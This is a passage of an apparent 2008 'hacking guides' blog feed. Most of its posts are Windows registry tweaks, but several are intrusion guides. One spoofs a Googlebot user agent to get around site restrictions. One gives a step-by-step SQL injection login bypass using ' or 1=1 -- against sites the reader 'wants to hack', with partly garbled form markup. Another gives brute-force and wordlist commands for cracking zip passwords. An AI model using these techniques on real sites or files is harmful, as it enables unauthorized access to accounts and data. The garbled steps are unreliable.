exposure.&lt;br /&gt;Examples of such sites are Windows Magazine, .Net Magazine, Nature, and many, many newspapers around the globe.&lt;br /&gt;How then, can you disguise yourself as a Googlebot? Quite simple: by changing your browser's User Agent. Copy the following code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it into your registry.&lt;br /&gt;&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]&lt;br /&gt;@="Googlebot/2.1"&lt;br /&gt;"Compatible"="+http://www.googlebot.com/bot.html"&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;You're done!&lt;br /&gt;&lt;br /&gt;You may always change it back again.... I know only one site that uses you User Agent to establish your eligability to use its services, and that's the Windows Update site...&lt;br /&gt;To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge with your registry:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#33cc00;"&gt;Windows Registry Editor Version 5.00&lt;br /&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]&lt;br /&gt;@="Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5&lt;/span&gt;&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-1535864552700651759?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/1535864552700651759/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=1535864552700651759' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1535864552700651759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/1535864552700651759'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/secret-backdoor.html' title='Secret Backdoor'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-4967274985070296147</id><published>2008-01-30T04:18:00.000-08:00</published><updated>2008-01-30T04:20:26.398-08:00</updated><title type='text'>Hacking web sites(another trick)</title><content type='html'>Server with one step login can be accessed via this method.&lt;br /&gt;&lt;br /&gt;Not For all Websites&lt;br /&gt;&lt;br /&gt;If you have the html and javascript knowledge then you can access password protected websites.&lt;br /&gt;1. Open the website you want to hack. Provide wrong username-password in its log in form.&lt;br /&gt;&lt;br /&gt;(e.g : Username : me and Password: ' or 1=1 --)&lt;br /&gt;&lt;br /&gt;An error will occur saying wrong username-password. Now be prepared&lt;br /&gt;&lt;br /&gt;Your experiment starts from here...&lt;br /&gt;&lt;br /&gt;2. Right click anywhere on that error page =&gt;&gt; go to &lt;strong&gt;view source.&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. There you can see the &lt;strong&gt;&lt;span style="color:#336666;"&gt;html codings with javascripts.&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. There you find somewhat like this....&lt;span style="color:#000099;"&gt; &lt;_form action="..login...."&gt;&lt;br /&gt;&lt;/span&gt;&lt; =..login....&gt;&lt;br /&gt;&lt;br /&gt;5. Before this login information&lt;=__LOGIN&gt; copy the url of the site in which you are.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;(e.g :"&lt;_form..........action=http://www.targetwebsite.com/login.......&gt;&lt;..........=HTTP: com=""&gt;")&lt;..........=HTTP: com=""&gt;&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;6. Then delete the javascript from the above that validates your information in the server.(Do this very carefully, ur success to hack the site depends upon this i.e how efficiently you delete the javascripts that validate ur account information)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7. Then take a close look for "&lt;_input name="password" type="password"&gt;"[without quotes] -&gt; replace "&lt;_type=text&gt; " there &lt;=TEXT&gt;instead of "&lt;_type=password&gt;"&lt;=TEXT&gt;&lt;=&gt;. See there if maxlength of password is less than 11 then increase it to 11 (e.g : if then write )&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8. Just go to file =&gt; save as and save it any where in your hardisk with ext.html(e.g: c:\eg.html)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9. Reopen your target web page by double clicking eg.html' file that you have saved.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;10. U see that some changes in current page as compared to original One. Don't get worried.&lt;br /&gt;&lt;br /&gt;11. Provide any username[e.g:hacker] and password[e.g:' or 1=1 --]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Congrats!!!!!! You have successfully cracked the above website and entered into the account of Ist user saved in the server's database.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;[Please read "_form"="form" &amp;amp; "_type"="type" &amp;amp; "_input"="input" without quotes]&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;The above trick won't work on the websites using latest technique to protect there servers. But you can find many sites !!&lt;br /&gt;Enjoy !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-4967274985070296147?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/4967274985070296147/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=4967274985070296147' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4967274985070296147'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4967274985070296147'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/hacking-web-sitesanother-trick.html' title='Hacking web sites(another trick)'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-274463883684920551</id><published>2008-01-30T04:11:00.000-08:00</published><updated>2008-01-30T04:18:18.877-08:00</updated><title type='text'>Crack password protected zip files</title><content type='html'>I will do by using &lt;strong&gt;FZC&lt;/strong&gt; ..&lt;br /&gt;What is FZC?&lt;br /&gt;FZC is a program that cracks zip files (zip is a method of compressing multiple files into one smaller file) that are password-protected (which means you're gonna need a password to open the zip file and extract files out of it). You can get it anywhere - just use a search engine such as altavista.com.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FZC uses multiple methods of cracking -&lt;strong&gt; bruteforce&lt;/strong&gt; (guessing passwords systematically until the program gets it) or wordlist attacks (otherwise known as dictionary attacks. Instead of just guessing passwords systematically, the program takes passwords out of a "wordlist", which is a text file that contains possible passwords. You can get lots of wordlists at www.theargon.com.).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;FZC can be used in order to achieve two different goals: you can either use it to recover a lost zip password which you used to remember but somehow forgot, or to crack zip passwords which you're not supposed to have. So like every tool, this one can be used for good and for evil.&lt;br /&gt;&lt;br /&gt;The first thing I want to say is that reading this tutorial... is the easy way to learn how to use this program, but after reading this part of how to use the FZC you should go and check the texts that come with that program and read them all. You are also going to see the phrase "check name.txt" often in this text. These files should be in FZC's directory. They contain more information about FZC.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;FZC is a good password recovery tool&lt;/strong&gt;, because it's very fast and also support resuming so you don't have to keep the computer turned on until you get the password, like it used to be some years ago with older cracking programs. You would probably always get the password unless the password is longer than 32 chars (a char is a character, which can be anything - a number, a lowercase or undercase letter or a symbol such as ! or &amp;amp;) because 32 chars is the maximum value that FZC will accept, but it doesn't really matter, because in order to bruteforce a password with 32 chars you'll need to be at least immortal..heehhe.. to see the time that FZC takes with bruteforce just open the Bforce.txt file, which contains such information.&lt;br /&gt;FZC supports brute-force attacks, as well as wordlist attacks. While brute-force attacks don't require you to have anything, wordlist attacks require you to have wordlists, which you can get from www.theargon.com. There are wordlists in various languages, various topics or just miscellaneous wordlists. The bigger the wordlist is, the more chances you have to crack the password.&lt;br /&gt;&lt;br /&gt;Now that you have a good wordlist, just get FZC working on the locked zip file&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We need to keep in mind that are some people might choose some really weird passwords (for example: 'e8t7@$^%*gfh), which are harder to crack and are certainly impossible to crack (unless you have some weird wordlist). If you have a bad luck and you got such a file, having a 200MB list won't help you anymore. Instead, you'll have to use a different type of attack. If you are a person that gives up at the first sign of failure, stop being like that or you won't get anywhere. What you need to do in such a situation is to put aside your sweet xxx MB's list and start using the Brute Force attack.&lt;br /&gt;&lt;br /&gt;If you have some sort of a really fast and new computer and you're afraid that you won't be able to use your computer's power to the fullest because the zip cracker doesn't support this kind of technology, it's your lucky day! FZC has multiple settings for all sorts of hardware, and will automatically select the best method.&lt;br /&gt;&lt;br /&gt;Now that we've gone through all the theoretical stuff, let's get to the actual commands.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;Bruteforce&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The command line you'll need to use for using brute force is:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#009900;"&gt;fzc -mb -nzFile.zip -lChr Lenght -cType of chars&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Now if you read the bforce.txt that comes with fzc you'll find the description of how works Chr Lenght and the Type of chars, but hey, I'm gonna explain this too. Why not, right?... (but remember look at the bforce.txt too)&lt;br /&gt;&lt;br /&gt;For Chr Lenght you can use 4 kind of switches...&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;-&gt; You can use range -&gt; 4-6 :it would brute force from 4 Chr passwors to 6 chr passwords&lt;br /&gt;-&gt; You can use just one lenght -&gt; 5 :it would just brute force using passwords with 5 chars&lt;br /&gt;-&gt; You can use also the all number -&gt; 0 :it would start brute forcing from passwords with lenght 0 to lenght 32, even if you are crazy i don't think that you would do this.... if you are thinking in doing this get a live...&lt;br /&gt;-&gt; You can use the + sign with a number -&gt; 3+ :in this case it would brute force from passwords with lenght 3 to passwords with 32 chars of lenght, almost like the last option...&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color:#000099;"&gt;For the Type of chars we have 5 switches they are:&lt;br /&gt;&lt;br /&gt;-&gt; a for using lowercase letters&lt;br /&gt;-&gt; A for using uppercase letters&lt;br /&gt;-&gt; ! for using simbols (check the Bforce.txt if you want to see what simbols)&lt;br /&gt;-&gt; s for using space&lt;br /&gt;-&gt; 1 for using numbers&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;If you want to find a password with lowercase and numbers by brute force you would just do something like:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;fzc -mb -nzTest.zip -l4-7 -ca1&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;This would try all combinations from passwords with 4 chars of lenght till 7 chars, but just using numbers and lowercase.&lt;br /&gt;&lt;br /&gt;*****&lt;br /&gt;hint&lt;br /&gt;*****&lt;br /&gt;&lt;br /&gt;You should never start the first brute force attack to a file using all the chars switches, first just try lowercase, then uppercase, then uppercase with number then lowercase with numbers, just do like this because you can get lucky and find the password much faster, if this doesn't work just prepare your brain and start with a brute force that would take a lot of time. With a combination like lowercase, uppercase, special chars and numbers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;Wordlis&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Like I said in the bottom and like you should be thinking now, the wordlist is the most powerfull mode in this program. Using this mode, you can choose between 3 modes, where each one do some changes to the text that is in the wordlist, I'm not going to say what each mode does to the words, for knowing that just check the file wlist.txt, the only thing I'm going to tell you is that the best mode to get passwords is mode 3, but it takes longer time too.&lt;br /&gt;To start a wordlist attak you'll do something like.&lt;br /&gt;&lt;br /&gt;fzc -mwMode number -nzFile.zip -nwWordlist&lt;br /&gt;&lt;br /&gt;Where:&lt;br /&gt;&lt;br /&gt;Mode number is 1, 2 or 3 just check wlist.txt to see the changes in each mode.&lt;br /&gt;File.zip is the filename and Wordlist is the name of the wordlist that you want to use. Remember that if the file or the wordlist isn't in the same directory of FZC you'll need to give the all path.&lt;br /&gt;&lt;br /&gt;You can add other switches to that line like -fLine where you define in which line will FZC start reading, and the -lChar Length where it will just be read the words in that char length, the switche works like in bruteforce mode.&lt;br /&gt;So if you something like&lt;br /&gt;&lt;br /&gt;fzc -mw1 -nztest.zip -nwMywordlist.txt -f50 -l9+&lt;br /&gt;&lt;br /&gt;FZC would just start reading at line 50 and would just read with length &gt;= to 9.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;If you want to crack a file called myfile.zip using the "theargonlistserver1.txt" wordlist, selecting mode 3, and you wanted FZC to start reading at line 50 you would do:&lt;br /&gt;&lt;br /&gt;fzc -mw3 -nzmyfile.zip -nwtheargonlistserver1.txt -f50&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;Resuming&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;Other good feature in FZC is that FZC supports resuming. If you need to shutdown your computer and FZC is running you just need to press the ESC key, and fzc will stop. Now if you are using a brute force attack the current status will be saved in a file called resume.fzc but if you are using a wordlist it will say to you in what line it ended (you can find the line in the file fzc.log too).&lt;br /&gt;To resume the bruteforce attack you just need to do:&lt;br /&gt;&lt;br /&gt;fzc -mr&lt;br /&gt;&lt;br /&gt;And the bruteforce attack will start from the place where it stopped when you pressed the ESC key.&lt;br /&gt;But if you want to resume a wordlist attack you'll need to start a new wordlist attack, saying where it's gonna start. So if you ended the attack to the file.zip in line 100 using wordlist.txt in mode 3 to resume you'll type&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;fzc -mw3 -nzfile.zip -nwwordlist.txt -f100&lt;br /&gt;&lt;br /&gt;Doing this FZC would start in line 100, since the others 99 lines where already checked in an earlier FZC session.&lt;/strong&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-274463883684920551?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/274463883684920551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=274463883684920551' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/274463883684920551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/274463883684920551'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/crack-password-protected-zip-files.html' title='Crack password protected zip files'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3397728960361506608</id><published>2008-01-15T06:56:00.001-08:00</published><updated>2008-01-15T06:56:21.371-08:00</updated><title type='text'>Add an Option to Print the Contents of a Folder !!</title><content type='html'>&lt;h3 class="post-title entry-title"&gt;&amp;nbsp;&lt;/h3&gt;&lt;br /&gt;&lt;div class="post-header-line-1"&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="post-body entry-content"&gt;&lt;br /&gt;&lt;p&gt;Add an Option to Print the Contents of a FolderFirst, you need to create a batch file called &lt;strong&gt;Printdir.bat.&lt;/strong&gt; &lt;strong&gt;Open Notepad&lt;/strong&gt; or another text editor and type (or cut and paste) this text:&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;@echo off&lt;br /&gt;dir %1 /-p /o:gn &amp;gt; "%temp%\Listing"&lt;br /&gt;start /w notepad /p "%temp%\Listing"&lt;br /&gt;del "%temp%\Listing"&lt;br /&gt;exit&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Now, in the Save As dialog box, type &lt;strong&gt;"%windir%\Printdir.bat"&lt;/strong&gt; (without the quotation marks) and click the Save button.&lt;br /&gt;Click Start, Control Panel, Folder Options.&lt;br /&gt;Click the File Types tab, and then click File Folder.&lt;br /&gt;Click the Advanced button.&lt;br /&gt;Click the New button.&lt;br /&gt;&lt;br /&gt;&lt;font color="#339966"&gt;&lt;strong&gt;In the Action box, type "Print Directory Listing"&lt;/strong&gt;&lt;/font&gt; (without the quotation marks).&lt;br /&gt;&lt;br /&gt;In the Application used to perform action box, type&lt;strong&gt;&lt;font color="#00ff00"&gt; "Printdir.bat"&lt;/font&gt;&lt;/strong&gt; (without the quotation marks).&lt;br /&gt;&lt;br /&gt;Click OK in all three dialog boxes to close the dialog boxes.&lt;br /&gt;&lt;br /&gt;You're not quite finished yet! Now you need to edit the Registry, so open your favorite Registry Editor.&lt;br /&gt;&lt;br /&gt;Navigate to &lt;strong&gt;HKEY CLASSES ROOT\Directory\shell.&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;Right click on "default" and select &lt;strong&gt;Modify.&lt;br /&gt;&lt;/strong&gt;In the &lt;font color="#0000ff"&gt;File Data box, type "none"&lt;/font&gt; (without the quotation marks).&lt;br /&gt;&lt;br /&gt;Click OK and close the Registry Editor.&lt;br /&gt;&lt;br /&gt;Now when you right click a folder, you'll see the option to Print Directory Listing. Selecting it will print the contents of the folder.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3397728960361506608?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3397728960361506608/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3397728960361506608' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3397728960361506608'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3397728960361506608'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/add-option-to-print-contents-of-folder.html' title='Add an Option to Print the Contents of a Folder !!'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-3701160681022255631</id><published>2008-01-15T06:44:00.000-08:00</published><updated>2008-01-15T06:46:25.958-08:00</updated><title type='text'>Increase your Net speed manually no need of Any software !!</title><content type='html'>First, u need to goto&lt;br /&gt;Start, then &lt;strong&gt;run.&lt;/strong&gt;&lt;br /&gt;Type in&lt;strong&gt; regedit&lt;/strong&gt; in the box.&lt;br /&gt;Next, goto the&lt;br /&gt;folder &lt;strong&gt;HKEY_LOCAL_MACHINE\System\CurrentControlSet\services\VxD\MSTCP&lt;br /&gt;&lt;/strong&gt;Now, find the &lt;strong&gt;&lt;span style="color:#009900;"&gt;string Default Rcv Window&lt;/span&gt;&lt;/strong&gt;.&lt;br /&gt;Now, edit the number to&lt;strong&gt; 64240&lt;/strong&gt; (was 65535).&lt;br /&gt;Reboot your Computer and now you have &lt;span style="color:#3366ff;"&gt;Increase your Net Speed&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-3701160681022255631?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/3701160681022255631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=3701160681022255631' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3701160681022255631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/3701160681022255631'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/increase-your-net-speed-manually-no.html' title='Increase your Net speed manually no need of Any software !!'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-8056277430383696198</id><published>2008-01-15T06:43:00.000-08:00</published><updated>2008-01-15T06:44:53.996-08:00</updated><title type='text'>Eliminating the Right Click on the Desktop !!</title><content type='html'>Take backup Before Editing Any Registry&lt;br /&gt;&lt;br /&gt;1. Start &lt;span style="color:#33cc00;"&gt;Regedit&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;2. Go to &lt;strong&gt;HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer&lt;br /&gt;&lt;/strong&gt;&lt;br /&gt;3. Add a DWORD and give it a name of&lt;span style="color:#000099;"&gt; NoViewContextMenu &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4. Give it a value of &lt;strong&gt;1 &lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;5. Reboot&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-8056277430383696198?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/8056277430383696198/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=8056277430383696198' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8056277430383696198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/8056277430383696198'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/eliminating-right-click-on-desktop.html' title='Eliminating the Right Click on the Desktop !!'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-4547288711945006676</id><published>2008-01-15T06:38:00.000-08:00</published><updated>2008-01-15T06:43:54.390-08:00</updated><title type='text'>Disabling the F3 search key</title><content type='html'>1. Start Regedit&lt;br /&gt;&lt;br /&gt;2. Go to &lt;strong&gt;HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;3. Create a &lt;span style="color:#33cc00;"&gt;Dword value called NoFindFiles&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;4. Give it a value of &lt;span style="color:#000099;"&gt;1&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;5. Reboot&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-4547288711945006676?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/4547288711945006676/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=4547288711945006676' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4547288711945006676'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/4547288711945006676'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2008/01/disabling-f3-search-key.html' title='Disabling the F3 search key'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-181585209339770761</id><published>2007-12-30T01:08:00.001-08:00</published><updated>2007-12-30T01:09:43.004-08:00</updated><title type='text'>Change your processors name</title><content type='html'>Go To &lt;strong&gt;Start and type RUN&lt;/strong&gt;&lt;br /&gt;&lt;span style="color:#333399;"&gt;&lt;strong&gt;TYPE REGEDIT&lt;br /&gt;HKEY_LOCAL_MACHINE&gt;HARDWARE&gt;DISCRIPTION&gt;SYSTEM&gt;CENTRAL&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Processor&lt;br /&gt;On Right Hand side just right click on Processor name and string and then Click Ok&lt;br /&gt;&lt;br /&gt;Now &lt;strong&gt;Modify&lt;/strong&gt; and &lt;span style="color:#33cc00;"&gt;write what you want to write ..&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-181585209339770761?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/181585209339770761/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=181585209339770761' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/181585209339770761'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/181585209339770761'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/change-your-processors-name.html' title='Change your processors name'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-2656824325347578269</id><published>2007-12-30T01:05:00.000-08:00</published><updated>2007-12-30T01:07:58.352-08:00</updated><title type='text'>Turn off system beeps</title><content type='html'>&lt;p&gt;Navigate to &lt;strong&gt;&lt;span style="color:#009900;"&gt;HKEY_CURRENT_USER\Control Panel\Sound&lt;/span&gt;&lt;/strong&gt; Once there, &lt;strong&gt;locate Beep&lt;/strong&gt; on the list on the right. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;br /&gt;Right click on it and select &lt;strong&gt;Modify &lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;br /&gt;Change the value equal to &lt;strong&gt;no &lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;br /&gt;&lt;span style="color:#990000;"&gt;Reboot your computer&lt;/span&gt; and the beeps will be gone!&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2811100680510495731-2656824325347578269?l=hacking-guides.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hacking-guides.blogspot.com/feeds/2656824325347578269/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2811100680510495731&amp;postID=2656824325347578269' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/2656824325347578269'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2811100680510495731/posts/default/2656824325347578269'/><link rel='alternate' type='text/html' href='http://hacking-guides.blogspot.com/2007/12/navigate-to-hkeycurrentusercontrol.html' title='Turn off system beeps'/><author><name>ekansh</name><uri>http://www.blogger.com/profile/09203979474549210138</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2811100680510495731.post-8499261159338895130</id><published>2007-12-30T00:59:00.000-08:00</published><updated>2007-12-30T01:04:18.093-08:00</updated><title type='text'>Hide hard drives in Windows vista</title><content type='html'>Back up your registry before you start!&lt;br /&gt;&lt;br /&gt;1. Open &lt;strong&gt;Regedit&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;. 2. Navigate to one of these strings:&lt;br /&gt;&lt;br /&gt;&lt;span 